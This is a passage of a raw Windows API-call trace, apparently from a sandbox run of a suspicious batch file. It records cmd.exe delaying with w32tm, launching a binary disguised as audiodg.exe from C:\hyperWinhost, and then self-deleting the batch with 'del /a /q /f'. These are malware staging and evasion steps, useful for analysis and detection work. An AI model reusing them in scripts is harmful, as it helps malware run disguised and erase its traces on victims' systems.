lpTitle="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2beb00 | out: lpCommandLine="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 ", lpProcessInformation=0x2beb00*(hProcess=0x64, hThread=0x5c, dwProcessId=0x9c0, dwThreadId=0x9c4)) returned 1 [0094.640] CloseHandle (hObject=0x5c) returned 1 [0094.640] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0094.640] GetProcessHeap () returned 0x410000 [0094.640] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x429b00 | out: hHeap=0x410000) returned 1 [0094.640] GetEnvironmentStringsW () returned 0x429b00* [0094.640] GetProcessHeap () returned 0x410000 [0094.640] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xc88) returned 0x42c050 [0094.640] memcpy (in: _Dst=0x42c050, _Src=0x429b00, _Size=0xc88 | out: _Dst=0x42c050) returned 0x42c050 [0094.640] FreeEnvironmentStringsW (penv=0x429b00) returned 1 [0094.640] WaitForSingleObject (hHandle=0x64, dwMilliseconds=0xffffffff) returned 0x0 [0100.756] GetExitCodeProcess (in: hProcess=0x64, lpExitCode=0x2bea48 | out: lpExitCode=0x2bea48*=0x0) returned 1 [0100.756] CloseHandle (hObject=0x64) returned 1 [0100.756] _vsnwprintf (in: _Buffer=0x2becb8, _BufferCount=0x13, _Format="%08X", _ArgList=0x2bea58 | out: _Buffer="00000000") returned 8 [0100.756] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0100.756] GetProcessHeap () returned 0x410000 [0100.757] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42c050 | out: hHeap=0x410000) returned 1 [0100.757] GetEnvironmentStringsW () returned 0x42d9a0* [0100.757] GetProcessHeap () returned 0x410000 [0100.757] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xcae) returned 0x42e660 [0100.757] memcpy (in: _Dst=0x42e660, _Src=0x42d9a0, _Size=0xcae | out: _Dst=0x42e660) returned 0x42e660 [0100.757] FreeEnvironmentStringsW (penv=0x42d9a0) returned 1 [0100.757] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0100.757] GetProcessHeap () returned 0x410000 [0100.758] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42e660 | out: hHeap=0x410000) returned 1 [0100.758] GetEnvironmentStringsW () returned 0x42d9a0* [0100.758] GetProcessHeap () returned 0x410000 [0100.758] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xcae) returned 0x42e660 [0100.758] memcpy (in: _Dst=0x42e660, _Src=0x42d9a0, _Size=0xcae | out: _Dst=0x42e660) returned 0x42e660 [0100.758] FreeEnvironmentStringsW (penv=0x42d9a0) returned 1 [0100.758] GetProcessHeap () returned 0x410000 [0100.758] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43a1c0 | out: hHeap=0x410000) returned 1 [0100.758] DeleteProcThreadAttributeList (in: lpAttributeList=0x2beb18 | out: lpAttributeList=0x2beb18) [0100.758] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0100.759] _close (_FileHandle=3) returned 0 [0100.759] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.760] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0100.760] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.760] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a64e194 | out: lpMode=0x4a64e194) returned 1 [0100.760] _get_osfhandle (_FileHandle=0) returned 0x3 [0100.760] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a64e198 | out: lpMode=0x4a64e198) returned 1 [0100.761] SetConsoleInputExeNameW () returned 0x1 [0100.761] GetConsoleOutputCP () returned 0x1b5 [0100.761] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a65bfe0 | out: lpCPInfo=0x4a65bfe0) returned 1 [0100.761] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0100.761] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dtiah84nm9.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2bf468, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0100.761] _open_osfhandle (_OSFileHandle=0x60, _Flags=8) returned 3 [0100.761] _get_osfhandle (_FileHandle=3) returned 0x60 [0100.761] SetFilePointer (in: hFile=0x60, lDistanceToMove=88, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0100.761] GetProcessHeap () returned 0x410000 [0100.762] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42be40 | out: hHeap=0x410000) returned 1 [0100.762] GetProcessHeap () returned 0x410000 [0100.763] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42bc60 | out: hHeap=0x410000) returned 1 [0100.763] GetProcessHeap () returned 0x410000 [0100.763] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42ba90 | out: hHeap=0x410000) returned 1 [0100.763] GetProcessHeap () returned 0x410000 [0100.763] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42ba40 | out: hHeap=0x410000) returned 1 [0100.763] GetProcessHeap () returned 0x410000 [0100.763] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43aea0 | out: hHeap=0x410000) returned 1 [0100.764] GetProcessHeap () returned 0x410000 [0100.764] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42b820 | out: hHeap=0x410000) returned 1 [0100.764] GetProcessHeap () returned 0x410000 [0100.764] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x424860 | out: hHeap=0x410000) returned 1 [0100.764] GetProcessHeap () returned 0x410000 [0100.764] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43ad90 | out: hHeap=0x410000) returned 1 [0100.764] GetProcessHeap () returned 0x410000 [0100.764] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42b640 | out: hHeap=0x410000) returned 1 [0100.765] GetProcessHeap () returned 0x410000 [0100.765] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43abc0 | out: hHeap=0x410000) returned 1 [0100.765] GetProcessHeap () returned 0x410000 [0100.765] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43ab70 | out: hHeap=0x410000) returned 1 [0100.765] GetProcessHeap () returned 0x410000 [0100.765] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43a180 | out: hHeap=0x410000) returned 1 [0100.765] GetProcessHeap () returned 0x410000 [0100.765] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x426e30 | out: hHeap=0x410000) returned 1 [0100.765] GetProcessHeap () returned 0x410000 [0100.766] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43aad0 | out: hHeap=0x410000) returned 1 [0100.766] GetProcessHeap () returned 0x410000 [0100.766] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x424890 | out: hHeap=0x410000) returned 1 [0100.766] GetProcessHeap () returned 0x410000 [0100.766] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43aa10 | out: hHeap=0x410000) returned 1 [0100.766] _get_osfhandle (_FileHandle=3) returned 0x60 [0100.766] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0100.766] ReadFile (in: hFile=0x60, lpBuffer=0x4a65c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2bf270, lpOverlapped=0x0 | out: lpBuffer=0x4a65c320*, lpNumberOfBytesRead=0x2bf270*=0x6c, lpOverlapped=0x0) returned 1 [0100.768] SetFilePointer (in: hFile=0x60, lDistanceToMove=128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80 [0100.768] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="start \"\" \"C:\\hyperWinhost\\audiodg.exe\"\r\n", cbMultiByte=40, lpWideCharStr=0x4a65e320, cchWideChar=8191 | out: lpWideCharStr="start \"\" \"C:\\hyperWinhost\\audiodg.exe\"\r\neriod:5 /dataonly /samples:2 1>nul\r\n") returned 40 [0100.768] _get_osfhandle (_FileHandle=3) returned 0x60 [0100.768] GetFileType (hFile=0x60) returned 0x1 [0100.768] _get_osfhandle (_FileHandle=3) returned 0x60 [0100.768] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x80 [0100.768] GetProcessHeap () returned 0x410000 [0100.769] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x4012) returned 0x43aea0 [0100.769] GetProcessHeap () returned 0x410000 [0100.770] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43aea0 | out: hHeap=0x410000) returned 1 [0100.770] _tell (_FileHandle=3) returned 128 [0100.770] _close (_FileHandle=3) returned 0 [0100.770] _wcsicmp (_String1="start", _String2="DIR") returned 15 [0100.770] _wcsicmp (_String1="start", _String2="ERASE") returned 14 [0100.770] _wcsicmp (_String1="start", _String2="DEL") returned 15 [0100.770] _wcsicmp (_String1="start", _String2="TYPE") returned -1 [0100.770] _wcsicmp (_String1="start", _String2="COPY") returned 16 [0100.770] _wcsicmp (_String1="start", _String2="CD") returned 16 [0100.770] _wcsicmp (_String1="start", _String2="CHDIR") returned 16 [0100.770] _wcsicmp (_String1="start", _String2="RENAME") returned 1 [0100.770] _wcsicmp (_String1="start", _String2="REN") returned 1 [0100.770] _wcsicmp (_String1="start", _String2="ECHO") returned 14 [0100.770] _wcsicmp (_String1="start", _String2="SET") returned 15 [0100.770] _wcsicmp (_String1="start", _String2="PAUSE") returned 3 [0100.770] _wcsicmp (_String1="start", _String2="DATE") returned 15 [0100.771] _wcsicmp (_String1="start", _String2="TIME") returned -1 [0100.771] _wcsicmp (_String1="start", _String2="PROMPT") returned 3 [0100.771] _wcsicmp (_String1="start", _String2="MD") returned 6 [0100.771] _wcsicmp (_String1="start", _String2="MKDIR") returned 6 [0100.771] _wcsicmp (_String1="start", _String2="RD") returned 1 [0100.771] _wcsicmp (_String1="start", _String2="RMDIR") returned 1 [0100.771] _wcsicmp (_String1="start", _String2="PATH") returned 3 [0100.771] _wcsicmp (_String1="start", _String2="GOTO") returned 12 [0100.771] _wcsicmp (_String1="start", _String2="SHIFT") returned 12 [0100.771] _wcsicmp (_String1="start", _String2="CLS") returned 16 [0100.771] _wcsicmp (_String1="start", _String2="CALL") returned 16 [0100.771] _wcsicmp (_String1="start", _String2="VERIFY") returned -3 [0100.771] _wcsicmp (_String1="start", _String2="VER") returned -3 [0100.771] _wcsicmp (_String1="start", _String2="VOL") returned -3 [0100.771] _wcsicmp (_String1="start", _String2="EXIT") returned 14 [0100.771] _wcsicmp (_String1="start", _String2="SETLOCAL") returned 15 [0100.771] _wcsicmp (_String1="start", _String2="ENDLOCAL") returned 14 [0100.771] _wcsicmp (_String1="start", _String2="TITLE") returned -1 [0100.771] _wcsicmp (_String1="start", _String2="START") returned 0 [0100.771] GetConsoleTitleW (in: lpConsoleTitle=0x2bf210, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0100.771] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x42f440, Size=0x54) returned 0x42f440 [0100.771] GetProcessHeap () returned 0x410000 [0100.772] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x42f440) returned 0x54 [0100.772] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0100.772] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0100.772] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0100.775] SetErrorMode (uMode=0x0) returned 0x0 [0100.775] SetErrorMode (uMode=0x1) returned 0x0 [0100.775] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\.", nBufferLength=0x208, lpBuffer=0x43aa20, lpFilePart=0x2a2600 | out: lpBuffer="C:\\hyperWinhost", lpFilePart=0x2a2600*="hyperWinhost") returned 0xf [0100.775] SetErrorMode (uMode=0x0) returned 0x1 [0100.775] GetProcessHeap () returned 0x410000 [0100.775] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x43aa10, Size=0x48) returned 0x43aa10 [0100.775] GetProcessHeap () returned 0x410000 [0100.775] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x43aa10) returned 0x48 [0100.775] NeedCurrentDirectoryForExePathW (ExeName="C:\\hyperWinhost\\.") returned 1 [0100.775] GetProcessHeap () returned 0x410000 [0100.775] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x36) returned 0x426e30 [0100.775] GetProcessHeap () returned 0x410000 [0100.775] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x58) returned 0x42f520 [0100.775] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x42f520, Size=0x36) returned 0x42f520 [0100.775] GetProcessHeap () returned 0x410000 [0100.775] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x42f520) returned 0x36 [0100.775] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a64f360, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0100.775] GetProcessHeap () returned 0x410000 [0100.775] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xe8) returned 0x43aa70 [0100.775] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x43aa70, Size=0x7e) returned 0x43aa70 [0100.775] GetProcessHeap () returned 0x410000 [0100.775] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x43aa70) returned 0x7e [0100.776] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0100.776] FindFirstFileExW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe"), fInfoLevelId=0x1, lpFindFileData=0x2a2370, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2a2370) returned 0x42f580 [0100.776] FindClose (in: hFindFile=0x42f580 | out: hFindFile=0x42f580) returned 1 [0100.776] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0100.776] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0100.776] GetStartupInfoW (in: lpStartupInfo=0x2a2a40 | out: lpStartupInfo=0x2a2a40*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0100.776] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0x2a2918 | out: lpAttributeList=0x0, lpSize=0x2a2918) returned 0 [0100.776] GetLastError () returned 0x7a [0100.776] GetProcessHeap () returned 0x410000 [0100.776] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x48) returned 0x438300 [0100.776] InitializeProcThreadAttributeList (in: lpAttributeList=0x438300, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0x2a2918 | out: lpAttributeList=0x438300, lpSize=0x2a2918) returned 1 [0100.776] UpdateProcThreadAttribute (in: lpAttributeList=0x438300, dwFlags=0x0, Attribute=0x60001, lpValue=0x2a2910, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x438300, lpPreviousValue=0x0) returned 1 [0100.777] CreateProcessW (in: lpApplicationName="C:\\hyperWinhost\\audiodg.exe", lpCommandLine="\"C:\\hyperWinhost\\audiodg.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80410, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2a2950*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x7, hStdError=0xb), lpProcessInformation=0x2a2938 | out: lpCommandLine="\"C:\\hyperWinhost\\audiodg.exe\" ", lpProcessInformation=0x2a2938*(hProcess=0x64, hThread=0x60, dwProcessId=0xd58, dwThreadId=0x900)) returned 1 [0100.781] DeleteProcThreadAttributeList (in: lpAttributeList=0x438300 | out: lpAttributeList=0x438300) [0100.781] GetProcessHeap () returned 0x410000 [0100.781] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x438300 | out: hHeap=0x410000) returned 1 [0100.781] GetLastError () returned 0x715 [0100.781] ResumeThread (hThread=0x60) returned 0x0 [0100.781] CloseHandle (hObject=0x60) returned 1 [0100.782] CloseHandle (hObject=0x64) returned 1 [0100.782] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.782] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0100.782] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.782] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a64e194 | out: lpMode=0x4a64e194) returned 1 [0100.782] _get_osfhandle (_FileHandle=0) returned 0x3 [0100.782] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a64e198 | out: lpMode=0x4a64e198) returned 1 [0100.782] SetConsoleInputExeNameW () returned 0x1 [0100.782] GetConsoleOutputCP () returned 0x1b5 [0100.783] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a65bfe0 | out: lpCPInfo=0x4a65bfe0) returned 1 [0100.783] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0100.783] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dtiah84nm9.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2bf468, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x64 [0100.783] _open_osfhandle (_OSFileHandle=0x64, _Flags=8) returned 3 [0100.783] _get_osfhandle (_FileHandle=3) returned 0x64 [0100.783] SetFilePointer (in: hFile=0x64, lDistanceToMove=128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80 [0100.783] GetProcessHeap () returned 0x410000 [0100.783] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43aa70 | out: hHeap=0x410000) returned 1 [0100.783] GetProcessHeap () returned 0x410000 [0100.784] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42f520 | out: hHeap=0x410000) returned 1 [0100.784] GetProcessHeap () returned 0x410000 [0100.784] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x426e30 | out: hHeap=0x410000) returned 1 [0100.784] GetProcessHeap () returned 0x410000 [0100.785] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43aa10 | out: hHeap=0x410000) returned 1 [0100.785] GetProcessHeap () returned 0x410000 [0100.785] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42f4b0 | out: hHeap=0x410000) returned 1 [0100.785] GetProcessHeap () returned 0x410000 [0100.785] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42f440 | out: hHeap=0x410000) returned 1 [0100.785] GetProcessHeap () returned 0x410000 [0100.785] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42f3e0 | out: hHeap=0x410000) returned 1 [0100.785] GetProcessHeap () returned 0x410000 [0100.785] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x424890 | out: hHeap=0x410000) returned 1 [0100.785] GetProcessHeap () returned 0x410000 [0100.785] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42f320 | out: hHeap=0x410000) returned 1 [0100.785] _get_osfhandle (_FileHandle=3) returned 0x64 [0100.785] SetFilePointer (in: hFile=0x64, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x80 [0100.785] ReadFile (in: hFile=0x64, lpBuffer=0x4a65c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2bf270, lpOverlapped=0x0 | out: lpBuffer=0x4a65c320*, lpNumberOfBytesRead=0x2bf270*=0x44, lpOverlapped=0x0) returned 1 [0100.785] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="del /a /q /f \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\dtIah84Nm9.bat\"Mwgj\\AppData\\Local\\Temp\\\\dtIah84Nm9.bat\"dg.exe\"\r\ndel /a /q /f \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\dtIah84Nm9.bat\"h84Nm9.bat\"", cbMultiByte=68, lpWideCharStr=0x4a65e320, cchWideChar=8191 | out: lpWideCharStr="del /a /q /f \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\dtIah84Nm9.bat\" 1>nul\r\n") returned 68 [0100.786] _get_osfhandle (_FileHandle=3) returned 0x64 [0100.786] SetFilePointer (in: hFile=0x64, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc4 [0100.786] ReadFile (in: hFile=0x64, lpBuffer=0x4a65c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2bf070, lpOverlapped=0x0 | out: lpBuffer=0x4a65c320*, lpNumberOfBytesRead=0x2bf070*=0x0, lpOverlapped=0x0) returned 1 [0100.786] GetLastError () returned 0x0 [0100.786] _get_osfhandle (_FileHandle=3) returned 0x64 [0100.786] GetFileType (hFile=0x64) returned 0x1 [0100.786] _get_osfhandle (_FileHandle=3) returned 0x64 [0100.786] SetFilePointer (in: hFile=0x64, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc4 [0100.786] GetProcessHeap () returned 0x410000 [0100.786] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x4012) returned 0x43aea0 [0100.786] GetProcessHeap () returned 0x410000 [0100.786] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x43aea0 | out: hHeap=0x410000) returned 1 [0100.786] GetProcessHeap () returned 0x410000 [0100.787] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x94) returned 0x42b700 [0100.787] _tell (_FileHandle=3) returned 196 [0100.787] _close (_FileHandle=3) returned 0 [0100.787] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0100.787] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0100.787] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0100.787] GetConsoleTitleW (in: lpConsoleTitle=0x2bf210, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0100.787] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x437840, Size=0x9a) returned 0x437840 [0100.787] GetProcessHeap () returned 0x410000 [0100.787] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x437840) returned 0x9a [0100.787] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x42f320, Size=0x9a) returned 0x42f320 [0100.788] GetProcessHeap () returned 0x410000 [0100.788] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x42f320) returned 0x9a [0100.792] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x2bed70 | out: lpBuffer="C:\\hyperWinhost") returned 0xf [0100.792] GetProcessHeap () returned 0x410000 [0100.792] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x58) returned 0x42f3d0 [0100.792] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x2bdc80 | out: lpBuffer="C:\\hyperWinhost") returned 0xf [0100.792] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x2bdf38, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x2be790, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x2bdf38*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0100.793] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0100.793] GetProcessHeap () returned 0x410000 [0100.793] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x58) returned 0x42f430 [0100.793] GetProcessHeap () returned 0x410000 [0100.793] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x260) returned 0x43aa10 [0100.793] _wcsicmp (_String1="dtIah84Nm9.bat", _String2=".") returned 54 [0100.793] _wcsicmp (_String1="dtIah84Nm9.bat", _String2="..") returned 54 [0100.793] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\dtIah84Nm9.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dtiah84nm9.bat")) returned 0x2020 [0100.793] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x42ba30 | out: lpBuffer="C:\\hyperWinhost") returned 0xf [0100.793] SetErrorMode (uMode=0x0) returned 0x0 [0100.793] SetErrorMode (uMode=0x1) returned 0x0 [0100.794] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\dtIah84Nm9.bat", nBufferLength=0x104, lpBuffer=0x2bdca0, lpFilePart=0x2bdc90 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat", lpFilePart=0x2bdc90*="dtIah84Nm9.bat") returned 0x34 [0100.794] SetErrorMode (uMode=0x0) returned 0x1 [0100.794] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp")) returned 0x2010 [0100.794] GetProcessHeap () returned 0x410000 [0100.794] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x260) returned 0x42bc40 [0100.794] _wcsicmp (_String1="dtIah84Nm9.bat", _String2=".") returned 54 [0100.794] _wcsicmp (_String1="dtIah84Nm9.bat", _String2="..") returned 54 [0100.794] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\dtIah84Nm9.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dtiah84nm9.bat")) returned 0x2020 [0100.794] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dtiah84nm9.bat"), fInfoLevelId=0x0, lpFindFileData=0x411334, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x411334) returned 0x42f570 [0100.795] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dtiah84nm9.bat")) returned 1 [0100.796] FindNextFileW (in: hFindFile=0x42f570, lpFindFileData=0x411334 | out: lpFindFileData=0x411334*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60146300, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x60146300, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x60146300, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtIah84Nm9.bat", cAlternateFileName="DTIAH8~1.BAT")) returned 0 [0100.797] GetLastError () returned 0x12 [0100.797] FindClose (in: hFindFile=0x42f570 | out: hFindFile=0x42f570) returned 1 [0100.798] GetProcessHeap () returned 0x410000 [0100.798] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x411320 | out: hHeap=0x410000) returned 1 [0100.798] GetProcessHeap () returned 0x410000 [0100.798] HeapFree (in: hHeap=0x410000, 